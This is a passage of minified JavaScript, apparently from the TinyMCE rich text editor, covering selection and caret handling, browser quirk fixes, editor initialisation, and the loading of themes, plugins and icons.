0!==e.clientX?n.getDoc().elementFromPoint(e.clientX,e.clientY):null;!K1(t)&&"false"!==n.dom.getContentEditableParent(t)||e.preventDefault()}),e.getParam("block_unsupported_drop",!0,"boolean")&&(i=e).on("init",function(){Ar.setEditorTimeout(i,t,0)})}function N1(e,t){return bf(e.getBody(),t)}function E1(l){function f(e){return e!==x&&(J1(e)||Qn(e))&&y.isChildOf(e,x)}function c(e){return rp(e)||op(e)||Zg(e)||ep(e)}function d(e){e&&b.setRng(e)}function m(e,t,n,r){return void 0===r&&(r=!0),l.fire("ShowCaret",{target:t,direction:e,before:n}).isDefaultPrevented()?null:(r&&b.scrollIntoView(t,-1===e),i.show(n,t))}function t(e){return Mr(e)||Ao(e)||Ro(e)}function g(e){return t(e.startContainer)||t(e.endContainer)}function p(e,t){if(!e)return null;if(e.collapsed){if(!g(e)){var n=t?1:-1,r=oc(n,x,e),o=r.getNode(!t);if(Xs(o))return m(n,o,!!t&&!r.isAtEnd(),!1);var i=r.getNode(t);if(Xs(i))return m(n,i,!t&&!r.isAtEnd(),!1)}return null}var a=e.startContainer,u=e.startOffset,s=e.endOffset;if(3===a.nodeType&&0===u&&J1(a.parentNode)&&(a=a.parentNode,u=y.nodeIndex(a),a=a.parentNode),1!==a.nodeType)return null;if(s===u+1&&a===e.endContainer){var c=a.childNodes[u];if(f(c))return function(e){var t=e.cloneNode(!0),n=l.fire("ObjectSelected",{target:e,targetClone:t});if(n.isDefaultPrevented())return null;var r=function(e,t,n){var r=l.$,o=br(Et.fromDom(l.getBody()),"#"+w).fold(function(){return r([])},function(e){return r([e.dom])});0===o.length&&(o=r('<div data-mce-bogus="all" class="mce-offscreen-selection"></div>').attr("id",w)).appendTo(l.getBody());var i=y.createRng();t===n&&xt.ie?(o.empty().append('<p style="font-size: 0" data-mce-bogus="all">\xa0</p>').append(t),i.setStartAfter(o[0].firstChild.firstChild),i.setEndAfter(t)):(o.empty().append(wo).append(t).append(wo),i.setStart(o[0].firstChild,1),i.setEnd(o[0].lastChild,0)),o.css({top:y.getPos(e,l.getBody()).y}),o[0].focus();var a=b.getSel();return a.removeAllRanges(),a.addRange(i),i}(e,n.targetClone,t),o=Et.fromDom(e);return Y(yu(Et.fromDom(l.getBody()),"*[data-mce-selected]"),function(e){je(o,e)||Cn(e,S)}),y.getAttrib(e,S)||e.setAttribute(S,"1"),v=e,N(),r}(c)}return null}function h(){v&&v.removeAttribute(S),br(Et.fromDom(l.getBody()),"#"+w).each(In),v=null}var v,n,e,o,b=l.selection,y=l.dom,C=y.isBlock,x=l.getBody(),i=Ws(l,x,C,function(){return Cd(l)}),w="sel-"+y.uniqueId(),S="data-mce-selected",r=b.getRng,N=function(){i.hide()};return xt.ceFalse&&!hh(l)&&(l.on("mouseup",function(e){var t=r();t.collapsed&&Nv(l,e.clientX,e.clientY)&&Ub(l,t,!1).each(d)}),l.on("click",function(e){var t=N1(l,e.target);t&&(J1(t)&&(e.preventDefault(),l.focus()),G1(t)&&y.isChildOf(t,b.getNode())&&h())}),l.on("blur NewBlock",h),l.on("ResizeWindow FullscreenStateChanged",i.reposition),l.on("tap",function(e){var t=e.target,n=N1(l,t);J1(n)?(e.preventDefault(),Fb(l,n).each(p)):f(t)&&Fb(l,t).each(p)},!0),l.on("mousedown",function(e){var t,n,r,o,i,a,u,s=e.target;s!==x&&"HTML"!==s.nodeName&&!y.isChildOf(s,x)||!1===Nv(l,e.clientX,e.clientY)||((t=N1(l,s))?J1(t)?(e.preventDefault(),Fb(l,t).each(p)):(h(),G1(t)&&e.shiftKey||yf(e.clientX,e.clientY,b.getRng())||(N(),b.placeCaretAt(e.clientX,e.clientY))):f(s)?Fb(l,s).each(p):!1===Xs(s)&&(h(),N(),(n=f0(x,e.clientX,e.clientY))&&(r=s,o=n.node,a=y.getParent(r,C),u=y.getParent(o,C),!K(a)&&(r!==u&&y.isChildOf(a,u)&&!1===J1(N1(l,a))||!y.isChildOf(u,a)&&(i=u,y.getParent(a,C)!==y.getParent(i,C))&&function(e){var t=e.firstChild;if(!K(t)){var n=cs.before(t);if(Kn(n.getNode())&&1===e.childNodes.length)return!c(n);var r=Mc(e).next(n);return r&&!c(r)}}(a))||(e.preventDefault(),d(m(1,n.node,n.before,!1)),l.getBody().focus()))))}),l.on("keypress",function(e){If.modifierPressed(e)||J1(b.getNode())&&e.preventDefault()}),l.on("GetSelectionRange",function(e){var t=e.range;v&&(v.parentNode?((t=t.cloneRange()).selectNode(v),e.range=t):v=null)}),l.on("SetSelectionRange",function(e){var t,n,r,o,i,a,u;e.range=(t=e.range,n=l.schema.getShortEndedElements(),r=y.createRng(),o=t.startContainer,i=t.startOffset,a=t.endContainer,u=t.endOffset,Ee(n,o.nodeName.toLowerCase())?0===i?r.setStartBefore(o):r.setStartAfter(o):r.setStart(o,i),Ee(n,a.nodeName.toLowerCase())?0===u?r.setEndBefore(a):r.setEndAfter(a):r.setEnd(a,u),r);var s=p(e.range,e.forward);s&&(e.range=s)}),l.on("AfterSetSelectionRange",function(e){var t=e.range,n=t.startContainer.parentNode;g(t)||"mcepastebin"===n.id||N(),y.hasClass(n,"mce-offscreen-selection")||h()}),l.on("copy",function(e){var t,n,r=e.clipboardData;e.isDefaultPrevented()||!e.clipboardData||xt.ie||(t=(n=y.get(w))&&n.getElementsByTagName("*")[0])&&(e.preventDefault(),r.clearData(),r.setData("text/html",t.outerHTML),r.setData("text/plain",t.outerText||t.innerText))}),S1(l),e=mu(function(){var e,t;n.removed||!n.getBody().contains(document.activeElement)||(e=n.selection.getRng()).collapsed&&(t=zb(n,e,!1),n.selection.setRng(t))},0),(n=l).on("focus",function(){e.throttle()}),n.on("blur",function(){e.cancel()}),(o=l).on("init",function(){o.on("focusin",function(e){var t,n,r=e.target;Qn(r)&&(t=bf(o.getBody(),r),n=Gn(t)?t:r,o.selection.getNode()!==n&&Fb(o,n).each(function(e){return o.selection.setRng(e)}))})})),{showCaret:m,showBlockCaretContainer:function(e){e.hasAttribute("data-mce-caret")&&(Hr(e),d(r()),b.scrollIntoView(e))},hideFakeCaret:N,destroy:function(){i.destroy(),v=null}}}function k1(a){function e(e,t){try{a.getDoc().execCommand(e,!1,t)}catch(e){}}function u(e){return e.isDefaultPrevented()}function t(){a.shortcuts.add("meta+a",null,"SelectAll")}function n(){a.inline||b.bind(a.getDoc(),"mousedown mouseup",function(e){var t;e.target===a.getDoc().documentElement&&(t=y.getRng(),a.getBody().focus(),"mousedown"===e.type?Mr(t.startContainer)||y.placeCaretAt(e.clientX,e.clientY):y.setRng(t))})}function r(){Range.prototype.getClientRects||a.on("mousedown",function(e){var t;u(e)||"HTML"!==e.target.nodeName||((t=a.getBody()).blur(),Ar.setEditorTimeout(a,function(){t.focus()}))})}function o(){a.on("click",function(e){var t=e.target;/^(IMG|HR)$/.test(t.nodeName)&&"false"!==b.getContentEditableParent(t)&&(e.preventDefault(),a.selection.select(t),a.nodeChanged()),"A"===t.nodeName&&b.hasClass(t,"mce-item-anchor")&&(e.preventDefault(),y.select(t))})}function i(){a.on("keydown",function(e){if(!u(e)&&e.keyCode===h&&y.isCollapsed()&&0===y.getRng().startOffset){var t=y.getNode().previousSibling;if(t&&t.nodeName&&"table"===t.nodeName.toLowerCase())return e.preventDefault(),!1}})}function s(){a.getParam("readonly")||a.on("BeforeExecCommand mousedown",function(){e("StyleWithCSS",!1),e("enableInlineTableEditing",!1),Ps(a)||e("enableObjectResizing",!1)})}function c(){a.contentStyles.push("img:-moz-broken {-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}")}function l(){a.inline||a.on("keydown",function(){document.activeElement===document.body&&a.getWin().focus()})}function f(){a.inline||(a.contentStyles.push("body {min-height: 150px}"),a.on("click",function(e){var t;"HTML"===e.target.nodeName&&(11<xt.ie?a.getBody().focus():(t=a.selection.getRng(),a.getBody().focus(),a.selection.setRng(t),a.selection.normalize(),a.nodeChanged()))}))}function d(){xt.mac&&a.on("keydown",function(e){!If.metaKeyPressed(e)||e.shiftKey||37!==e.keyCode&&39!==e.keyCode||(e.preventDefault(),a.selection.getSel().modify("move",37===e.keyCode?"backward":"forward","lineboundary"))})}function m(){a.on("click",function(e){var t=e.target;do{if("A"===t.tagName)return void e.preventDefault()}while(t=t.parentNode)}),a.contentStyles.push(".mce-content-body {-webkit-touch-callout: none}")}function g(){a.on("init",function(){a.dom.bind(a.getBody(),"submit",function(e){e.preventDefault()})})}var p=Nt.each,h=If.BACKSPACE,v=If.DELETE,b=a.dom,y=a.selection,C=a.parser,x=xt.gecko,w=xt.ie,S=xt.webkit,N="data:text/mce-internal,",E=w?"Text":"URL",k=te;return hh(a)?(S&&(n(),o(),g(),t(),xt.iOS&&(l(),f(),m())),x&&(r(),s(),c(),d())):(a.on("keydown",function(e){if(!u(e)&&e.keyCode===If.BACKSPACE){var t,n=(t=y.getRng()).startContainer,r=t.startOffset,o=b.getRoot(),i=n;if(t.collapsed&&0===r){for(;i&&i.parentNode&&i.parentNode.firstChild===i&&i.parentNode!==o;)i=i.parentNode;"BLOCKQUOTE"===i.tagName&&(a.formatter.toggle("blockquote",null,i),(t=b.createRng()).setStart(n,0),t.setEnd(n,0),y.setRng(t))}}}),a.on("keydown",function(e){var t,n,r,o,i=e.keyCode;u(e)||i!==v&&i!==h||(t=a.selection.isCollapsed(),n=a.getBody(),t&&!b.isEmpty(n)||!t&&(r=R(a.selection.getRng()),(o=b.createRng()).selectNode(a.getBody()),r!==R(o))||(e.preventDefault(),a.setContent(""),n.firstChild&&b.isBlock(n.firstChild)?a.selection.setCursorLocation(n.firstChild,0):a.selection.setCursorLocation(n,0),a.nodeChanged()))}),xt.windowsPhone||a.on("keyup focusin mouseup",function(e){If.modifierPressed(e)||y.normalize()},!0),S&&(n(),o(),ks(a)&&a.on("init",function(){e("DefaultParagraphSeparator",ks(a))}),g(),i(),C.addNodeFilter("br",function(e){for(var t=e.length;t--;)"Apple-interchange-newline"===e[t].attr("class")&&e[t].remove()}),xt.iOS?(l(),f(),m()):t()),11<=xt.ie&&(f(),i()),xt.ie&&(t(),e("AutoUrlDetect",!1),a.on("dragstart",function(e){var t,n,r;(t=e).dataTransfer&&(a.selection.isCollapsed()&&"IMG"===t.target.tagName&&y.select(t.target),0<(n=a.selection.getContent()).length&&(r=N+escape(a.id)+","+escape(n),t.dataTransfer.setData(E,r)))}),a.on("drop",function(e){var t,n,r,o;u(e)||(t=e.dataTransfer&&(o=e.dataTransfer.getData(E))&&0<=o.indexOf(N)?(o=o.substr(N.length).split(","),{id:unescape(o[0]),html:unescape(o[1])}):null)&&t.id!==a.id&&(e.preventDefault(),n=Ef(e.x,e.y,a.getDoc()),y.setRng(n),r=t.html,a.queryCommandSupported("mceInsertClipboardContent")?a.execCommand("mceInsertClipboardContent",!1,{content:r,internal:!0}):a.execCommand("mceInsertContent",!1,r))})),x&&(a.on("keydown",function(e){if(!u(e)&&e.keyCode===h&&a.getBody().getElementsByTagName("hr").length&&y.isCollapsed()&&0===y.getRng().startOffset){var t=y.getNode(),n=t.previousSibling;if("HR"===t.nodeName)return b.remove(t),void e.preventDefault();n&&n.nodeName&&"hr"===n.nodeName.toLowerCase()&&(b.remove(n),e.preventDefault())}}),r(),a.on("keypress",function(e){var t;if(!u(e)&&(8===e.keyCode||46===e.keyCode)&&A())return t=_(),a.getDoc().execCommand("delete",!1,null),t(),e.preventDefault(),!1}),b.bind(a.getDoc(),"cut",function(e){var t;!u(e)&&A()&&(t=_(),Ar.setEditorTimeout(a,function(){t()}))}),s(),a.on("SetContent ExecCommand",function(e){"setcontent"!==e.type&&"mceInsertLink"!==e.command||p(b.select("a"),function(e){var t=e.parentNode,n=b.getRoot();if(t.lastChild===e){for(;t&&!b.isBlock(t);){if(t.parentNode.lastChild!==t||t===n)return;t=t.parentNode}b.add(t,"br",{"data-mce-bogus":1})}})}),c(),d(),i())),{refreshContentEditable:k,isHidden:function(){if(!x||a.removed)return!1;var e=a.selection.getSel();return!e||!e.rangeCount||0===e.rangeCount}};function _(){var e=b.getAttribs(y.getStart().cloneNode(!1));return function(){var t=y.getStart();t!==a.getBody()&&(b.setAttrib(t,"style",null),p(e,function(e){t.setAttributeNode(e.cloneNode(!0))}))}}function A(){return!y.isCollapsed()&&b.getParent(y.getStart(),b.isBlock)!==b.getParent(y.getEnd(),b.isBlock)}function R(e){var t=b.create("body"),n=e.cloneContents();return t.appendChild(n),y.serializer.serialize(t,{format:"html"})}}function _1(e){return ae(e,function(e){return!1===b(e)})}function A1(e){var t=e.settings;return _1({block_elements:t.block_elements,boolean_attributes:t.boolean_attributes,custom_elements:t.custom_elements,extended_valid_elements:t.extended_valid_elements,invalid_elements:t.invalid_elements,invalid_styles:t.invalid_styles,move_caret_before_on_enter_elements:t.move_caret_before_on_enter_elements,non_empty_elements:t.non_empty_elements,schema:t.schema,self_closing_elements:t.self_closing_elements,short_ended_elements:t.short_ended_elements,special:t.special,text_block_elements:t.text_block_elements,text_inline_elements:t.text_inline_elements,valid_children:t.valid_children,valid_classes:t.valid_classes,valid_elements:t.valid_elements,valid_styles:t.valid_styles,verify_html:t.verify_html,whitespace_elements:t.whitespace_elements,padd_empty_block_inline_children:t.format_empty_lines})}function R1(e){var t=e.settings,n=e.editorUpload.blobCache;return _1({allow_conditional_comments:t.allow_conditional_comments,allow_html_data_urls:t.allow_html_data_urls,allow_svg_data_urls:t.allow_svg_data_urls,allow_html_in_named_anchor:t.allow_html_in_named_anchor,allow_script_urls:t.allow_script_urls,allow_unsafe_link_target:t.allow_unsafe_link_target,convert_fonts_to_spans:t.convert_fonts_to_spans,fix_list_elements:t.fix_list_elements,font_size_legacy_values:t.font_size_legacy_values,forced_root_block:t.forced_root_block,forced_root_block_attrs:t.forced_root_block_attrs,padd_empty_with_br:t.padd_empty_with_br,preserve_cdata:t.preserve_cdata,remove_trailing_brs:t.remove_trailing_brs,inline_styles:t.inline_styles,root_name:e.inline?e.getElement().nodeName.toLowerCase():void 0,validate:!0,blob_cache:n,document:e.getDoc(),images_dataimg_filter:t.images_dataimg_filter})}function D1(e){var t,u,n;e.bindPendingEventDelegates(),e.initialized=!0,e.fire("Init"),e.focus(!0),n=(u=e).dom.getRoot(),u.inline||Pl(u)&&u.selection.getStart(!0)!==n||rf(n).each(function(e){var t,n,r,o,i=e.getNode(),a=cn(i)?rf(i).getOr(e):e;xt.browser.isIE()?(t=u,n=a.toRange(),r=Et.fromDom(t.getBody()),o=(cd(t)?ve.from(n):ve.none()).map(ld).filter(sd(r)),t.bookmark=o.isSome()?o:t.bookmark):u.selection.setRng(a.toRange())}),e.nodeChanged({initial:!0}),e.execCallback("init_instance_callback",e),(t=e).settings.auto_focus&&Ar.setEditorTimeout(t,function(){var e=!0===t.settings.auto_focus?t:t.editorManager.get(t.settings.auto_focus);e.destroyed||e.focus()},100)}function T1(e){return(e.inline?e.ui:e.dom).styleSheetLoader}function O1(e){function t(){o.unloadAll(a),e.inline||e.ui.styleSheetLoader.unloadAll(i)}function n(){e.removed?t():e.on("remove",t)}var r,o=T1(e),i=Bs(e),a=e.contentCSS;0<e.contentStyles.length&&(r="",Nt.each(e.contentStyles,function(e){r+=e+"\r\n"}),e.dom.addStyle(r));var u,s,c,l,f,d,m,g,p,h=_r.all((u=e,s=a,c=i,l=[new _r(function(e,t){return T1(u).loadAll(s,e,t)})],u.inline?l:l.concat([new _r(function(e,t){return u.ui.styleSheetLoader.loadAll(c,e,t)})]))).then(n).catch(n);return e.settings.content_style&&(d=(f=e).settings.content_style,m=Et.fromDom(f.getBody()),g=jt(Pn(m)),pn(p=Et.fromTag("style"),"type","text/css"),Ln(p,Et.fromText(d)),Ln(g,p),f.on("remove",function(){In(p)})),h}function B1(e){var t;!0!==e.removed&&(hh(t=e)||t.load({initial:!0,format:"html"}),t.startContent=t.getContent({format:"raw"}),D1(e))}function P1(t,e){var n=t.settings,r=t.getElement(),o=t.getDoc();n.inline||(t.getElement().style.visibility=t.orgVisibility),e||t.inline||(o.open(),o.write(t.iframeHTML),o.close()),t.inline&&(Q1.addClass(r,"mce-content-body"),t.contentDocument=o=document,t.contentWindow=window,t.bodyElement=r,t.contentAreaContainer=r);var u,i,a,s,c,l,f,d,m,g,p,h,v=t.getBody();v.disabled=!0,t.readonly=!!n.readonly,t.readonly||(t.inline&&"static"===Q1.getStyle(v,"position",!0)&&(v.style.position="relative"),v.contentEditable=t.getParam("content_editable_state",!0)),v.disabled=!1,t.editorUpload=cb(t),t.schema=oo(A1(t)),t.dom=eu(o,{keep_values:!0,url_converter:t.convertURL,url_converter_scope:t,hex_colors:n.force_hex_style_colors,update_styles:!0,root_element:t.inline?t.getBody():null,collect:function(){return t.inline},schema:t.schema,contentCssCors:t.getParam("content_css_cors",!1,"boolean"),referrerPolicy:Ds(t),onSetAttrib:function(e){t.fire("SetAttrib",e)}}),t.parser=((i=cv(R1(u=t),u.schema)).addAttributeFilter("src,href,style,tabindex",function(e,t){for(var n,r,o=e.length,i=u.dom,a="data-mce-"+t;o--;)(r=(n=e[o]).attr(t))&&!n.attr(a)&&0!==r.indexOf("data:")&&0!==r.indexOf("blob:")&&("style"===t?((r=i.serializeStyle(i.parseStyle(r),n.name)).length||(r=null),n.attr(a,r),n.attr(t,r)):"tabindex"===t?(n.attr(a,r),n.attr(t,null)):n.attr(a,u.convertURL(r,t,n.name)))}),i.addNodeFilter("script",function(e){for(var t=e.length;t--;){var n=e[t],r=n.attr("type")||"no/type";0!==r.indexOf("mce-")&&n.attr("type","mce-"+r)}}),u.settings.preserve_cdata&&i.addNodeFilter("#cdata",function(e){for(var t=e.length;t--;){var n=e[t];n.type=8,n.name="#comment",n.value="[CDATA["+u.dom.encode(n.value)+"]]"}}),i.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(e){for(var t=e.length,n=u.schema.getNonEmptyElements();t--;){var r=e[t];r.isEmpty(n)&&0===r.getAll("br").length&&(r.append(new jd("br",1)).shortEnded=!0)}}),i),t.serializer=dv((s=(a=t).settings,_e(_e(_e({},R1(a)),A1(a)),_1({url_converter:s.url_converter,url_converter_scope:s.url_converter_scope,element_format:s.element_format,entities:s.entities,entity_encoding:s.entity_encoding,indent:s.indent,indent_after:s.indent_after,indent_before:s.indent_before}))),t),t.selection=Fh(t.dom,t.getWin(),t.serializer,t),t.annotator=zl(t),t.formatter=mb(t),t.undoManager=pb(t),t._nodeChangeDispatcher=new h1(t),t._selectionOverrides=E1(t),m=t,g=du(),p=au(!1),h=gu(function(e){m.fire("longpress",_e(_e({},e),{type:"longpress"})),p.set(!0)},400),m.on("touchstart",function(n){U0(n).each(function(e){h.cancel();var t={x:e.clientX,y:e.clientY,target:n.target};h.throttle(n),p.set(!1),g.set(t)})},!0),m.on("touchmove",function(e){h.cancel(),U0(e).each(function(i){g.on(function(e){var t=i,n=e,r=Math.abs(t.clientX-n.x),o=Math.abs(t.clientY-n.y);(5<r||5<o)&&(g.clear(),p.set(!1),m.fire("longpresscancel"))})})},!0),m.on("touchend touchcancel",function(t){h.cancel(),"touchcancel"!==t.type&&g.get().filter(function(e){return e.target.isEqualNode(t.target)}).each(function(){p.get()?t.preventDefault():m.fire("tap",_e(_e({},t),{type:"tap"}))})},!0),(f=l=t).on("click",function(e){f.dom.getParent(e.target,"details")&&e.preventDefault()}),(d=l).parser.addNodeFilter("details",function(e){Y(e,function(e){e.attr("data-mce-open",e.attr("open")),e.attr("open","open")})}),d.serializer.addNodeFilter("details",function(e){Y(e,function(e){var t=e.attr("data-mce-open");e.attr("open",X(t)?t:null),e.attr("data-mce-open",null)})}),hh(t)||(c=t).on("click",function(e){var t,n,r,o,i;3<=e.detail&&(r=(t=c).selection.getRng(),o=cs.fromRangeStart(r),i=cs.fromRangeEnd(r),!cs.isElementPosition(o)||b1(n=o.container())&&rf(n).each(function(e){return r.setStart(e.container(),e.offset())}),!cs.isElementPosition(i)||b1(n=o.container())&&of(n).each(function(e){return r.setEnd(e.container(),e.offset())}),t.selection.setRng(Cg(r)))});var b,y,C,x,w,S,N,E,k,_=hh(b=t)?au(null):GC(b);k=_,(E=t).addCommand("delete",function(){var e,t=k;M0(e=E)||Gb(e,!1)||qb(e,!1)||k0(e,t,!1)||Bb(e,!1)||yg(e)||Jb(e,!1)||T0(e,!1)||Ib(e)||R0(e,!1)||(F0(e,"Delete"),Sb(e))}),E.addCommand("forwardDelete",function(){var e,t=k;Gb(e=E,!0)||qb(e,!0)||k0(e,t,!0)||Bb(e,!0)||yg(e)||Jb(e,!0)||T0(e,!0)||Ib(e)||R0(e,!0)||F0(e,"ForwardDelete")}),ks(y=t)&&y.on("NodeChange",R(H0,y)),x=(C=t).dom,w=ks(C),S=C.getParam("placeholder",vc.getAttrib(C.getElement(),"placeholder"),"string"),N=function(e,t){var n,r,o;!function(e){if(hb(e)){var t=e.keyCode;return!vb(e)&&(If.metaKeyPressed(e)||e.altKey||112<=t&&t<=123||T(Ry,t))}}(e)&&(n=C.getBody(),r=!(hb(o=e)&&!(vb(o)||"keyup"===o.type&&229===o.keyCode))&&function(e,t,n){if(Kr(Et.fromDom(t),!1)){var r=""===n,o=t.firstElementChild;return!o||!e.getStyle(t.firstElementChild,"padding-left")&&!e.getStyle(t.firstElementChild,"padding-right")&&(r?!e.isBlock(o):n===o.nodeName.toLowerCase())}return!1}(x,n,w),""!==x.getAttrib(n,Dy)===r&&!t||(x.setAttrib(n,Dy,r?S:null),x.setAttrib(n,"aria-placeholder",r?S:null),C.fire("PlaceholderToggle",{state:r}),C.on(r?"keydown":"keyup",N),C.off(r?"keyup":"keydown",N)))},S&&C.on("init",function(e){N(e,!0),C.on("change SetContent ExecCommand",N),C.on("paste",function(e){return Ar.setEditorTimeout(C,function(){return N(e)})})});var A=vh(t);(function(t){var e=t.settings,n=t.getDoc(),r=t.getBody();t.fire("PreInit"),e.browser_spellcheck||e.gecko_spellcheck||(n.body.spellcheck=!1,Q1.setAttrib(r,"spellcheck","false")),t.quirks=k1(t),t.fire("PostRender");var o=t.getParam("directionality",lu.isRtl()?"rtl":void 0);void 0!==o&&(r.dir=o),e.protect&&t.on("BeforeSetContent",function(t){Nt.each(e.protect,function(e){t.content=t.content.replace(e,function(e){return"\x3c!--mce:protected "+escape(e)+"--\x3e"})})}),t.on("SetContent",function(){t.addVisual(t.getBody())}),t.on("compositionstart compositionend",function(e){t.composing="compositionstart"===e.type})})(t),A.fold(function(){O1(t).then(function(){return B1(t)})},function(e){t.setProgressState(!0),O1(t).then(function(){e().then(function(e){t.setProgressState(!1),B1(t)},function(e){t.notificationManager.open({type:"error",text:String(e)}),B1(t)})})})}function L1(e,t){var n,r,o,i,a=e.translate("Rich Text Area"),u=(n=e.id,r=a,t.height,o=e.getParam("iframe_attrs",{}),hn(i=Et.fromTag("iframe"),o),hn(i,{id:n+"_ifr",frameBorder:"0",allowTransparency:"true",title:r}),vu(i,"tox-edit-area__iframe"),i.dom);u.onload=function(){u.onload=null,e.fire("load")};var s=function(e,t){if(document.domain!==window.location.hostname&&xt.browser.isIE()){var n=ob("mce");e[n]=function(){P1(e)};var r='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinymce.get("'+e.id+'");document.write(ed.iframeHTML);document.close();ed.'+n+"(true);})()";return Z1.setAttrib(t,"src",r),!0}return!1}(e,u);return e.contentAreaContainer=t.iframeContainer,e.iframeElement=u,e.iframeHTML=function(e){var t=e.getParam("doctype","<!DOCTYPE html>")+"<html><head>";e.getParam("document_base_url","")!==e.documentBaseUrl&&(t+='<base href="'+e.documentBaseURI.getURI()+'" />'),t+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';var n=Ns(e,"body_id","tinymce"),r=Ns(e,"body_class",""),o=e.translate(e.getParam("iframe_aria_text","Rich Text Area. Press ALT-0 for help.","string"));return Es(e)&&(t+='<meta http-equiv="Content-Security-Policy" content="'+Es(e)+'" />'),t+('</head><body id="'+n+'" class="mce-content-body '+r+'" data-id="'+e.id)+'" aria-label="'+o+'"><br></body></html>'}(e),Z1.add(t.iframeContainer,u),s}function I1(e){return e.replace(/^\-/,"")}function M1(e){return{editorContainer:e,iframeContainer:e,api:{}}}function F1(e){var t,n,r,o,i,a,u,s=e.getElement();return e.orgDisplay=s.style.display,X(Is(e))?e.theme.renderUI():y(Is(e))?(n=(t=e).getElement(),(r=Is(t)(t,n)).editorContainer.nodeType&&(r.editorContainer.id=r.editorContainer.id||t.id+"_parent"),r.iframeContainer&&r.iframeContainer.nodeType&&(r.iframeContainer.id=r.iframeContainer.id||t.id+"_iframecontainer"),r.height=r.iframeHeight||n.offsetHeight,r):(u=(o=e).getElement(),o.inline?M1(null):(i=u,a=ex.create("div"),ex.insertAfter(a,i),M1(a)))}function U1(e){var n,t,r,o,i,a,u,s;e.fire("ScriptsLoaded"),n=e,t=Nt.trim(Rs(n)),r=n.ui.registry.getAll().icons,ne(_e(_e({},Vv.get("default").icons),Vv.get(t).icons),function(e,t){Ee(r,t)||n.ui.registry.addIcon(t,e)}),a=Is(o=e),X(a)?(o.settings.theme=I1(a),i=Yv.get(a),o.theme=new i(o,Yv.urls[a]),o.theme.init&&o.theme.init(o,Yv.urls[a]||o.documentBaseUrl.replace(/\/$/,""),o.$)):o.theme={},s=[],Nt.each(Fs(u=e).split(/[ ,]/),function(e){tx(u,s,I1(e))});var c=F1(e),l=e,f=ve.from(c.api).getOr({}),d={show:ve.from(f.show).getOr(te),hide:ve.from(f.hide).getOr(te),disable:ve.from(f.disable).getOr(te),isDisabled:ve.from(f.isDisabled).getOr(D),enable:function(){l.mode.isReadOnly()||ve.from(f.enable).map(x)}};l.ui=_e(_e({},l.ui),d);var m,g,p,h={editorContainer:c.editorContainer,iframeContainer:c.iframeContainer};return e.editorContainer=h.editorContainer||null,nb(e),e.inline?P1(e):(p=L1(m=e,g=h),g.editorContainer&&(Z1.get(g.editorContainer).style.display=m.orgDisplay,m.hidden=Z1.isHidden(g.editorContainer)),m.getElement().style.display="none",Z1.setAttrib(m.id,"aria-hidden","true"),void(p||P1(m)))}function z1(e){return"-"===e.charAt(0)}function H1(t,e,n){return ve.from(e).filter(function(e){return 0<e.length&&!Vv.has(e)}).map(function(e){return{url:t.editorManager.baseURL+"/icons/"+e+"/icons"+n+".js",name:ve.some(e)}})}function j1(c,l){var e,t,f=ou.ScriptLoader,n=f,r=l,o=function(){var r,o,t,n,e,i,a,u,s;e=f,u=Ts(i=c),s=i.getParam("language_url","","string"),!1===lu.hasCode(u)&&"en"!==u&&(a=""!==s?s:i.editorManager.baseURL+"/langs/"+u+".js",e.add(a,te,void 0,function(){Zv(i,"LanguageLoadError",eb("language",a,u))})),t=f,Y(function(e){for(var t=[],n=function(e){t.push(e)},r=0;r<e.length;r++)e[r].each(n);return t}([H1(n=c,"default",l),ve.from(n.getParam("icons_url","","string")).filter(function(e){return 0<e.length}).map(function(e){return{url:e,name:ve.none()}}).orThunk(function(){return H1(n,Rs(n),"")})]),function(e){t.add(e.url,te,void 0,function(){Zv(n,"IconsLoadError",eb("icons",e.url,e.name.getOrUndefined()))})}),r=c,o=l,Nt.each(r.getParam("external_plugins"),function(e,t){Xv.load(t,e,te,void 0,function(){tb(r,e,t)}),r.settings.plugins+=" "+t}),Nt.each(Fs(r).split(/[ ,]/),function(e){var t,n;(e=Nt.trim(e))&&!Xv.urls[e]&&(z1(e)?(e=e.substr(1,e.length),t=Xv.dependencies(e),Nt.each(t,function(e){var t=Xv.createUrl({prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"},e);Xv.load(t.resource,t,te,void 0,function(){tb(r,t.prefix+t.resource+t.suffix,t.resource)})})):(n={prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"},Xv.load(e,n,te,void 0,function(){tb(r,n.prefix+n.resource+n.suffix,e)})))}),f.loadQueue(function(){c.removed||U1(c)},c,function(){c.removed||U1(c)})},i=Is(e=c);X(i)?(z1(i)||Ee(Yv.urls,i)||((t=e.getParam("theme_url"))?Yv.load(i,e.documentBaseURI.toAbsolute(t)):Yv.load(i,"themes/"+i+"/theme"+r+".js")),n.loadQueue(function(){Yv.waitFor(i,o)})):o()}function V1(a){return function(i,e){return ve.from(e).map(Et.fromDom).filter(_n).bind(function(e){return n=a,t=i,r=e.dom,Tg(Et.fromDom(r),function(e){return Sn(t=e,n).orThunk(function(){return"font"===kt(t)?ue(rx,n).bind(function(e){return bn(t,e)}):ve.none()});var t},function(e){return je(Et.fromDom(t),e)}).or((o=e.dom,ve.from(eu.DOM.getStyle(o,a,!0))));var n,t,r,o}).getOr("")}}function q1(e){return rf(e.getBody()).map(function(e){var t=e.container();return Vn(t)?t.parentNode:t})}function $1(e,t){return n=e,r=a(ve.some,t),o=n,ve.from(o.selection.getRng()).bind(function(e){var t=o.getBody();return e.startContainer===t&&0===e.startOffset?ve.none():ve.from(o.selection.getStart(!0))}).orThunk(R(q1,n)).map(Et.fromDom).filter(_n).bind(r);var n,r,o}function W1(e,t){if(/^[0-9.]+$/.test(t)){var n=parseInt(t,10);if(1<=n&&n<=7){var r=Nt.explode(e.getParam("font_size_style_values","xx-small,x-small,small,medium,large,x-large,xx-large")),o=Nt.explode(e.getParam("font_size_classes",""));return o?o[n-1]||t:r[n-1]||t}return t}return t}var K1=Gn,X1=Yn,Y1=function(e){e.on(function(e){C1(e.ghost)}),e.clear()},G1=Yn,J1=Gn,Q1=eu.DOM,Z1=eu.DOM,ex=eu.DOM,tx=function(t,n,r){var o,i,a,u,e=Xv.get(r),s=Xv.urls[r]||t.documentBaseUrl.replace(/\/$/,"");if(r=Nt.trim(r),e&&-1===Nt.inArray(n,r)&&(Nt.each(Xv.dependencies(r),function(e){tx(t,n,e)}),!t.plugins[r]))try{var c=new 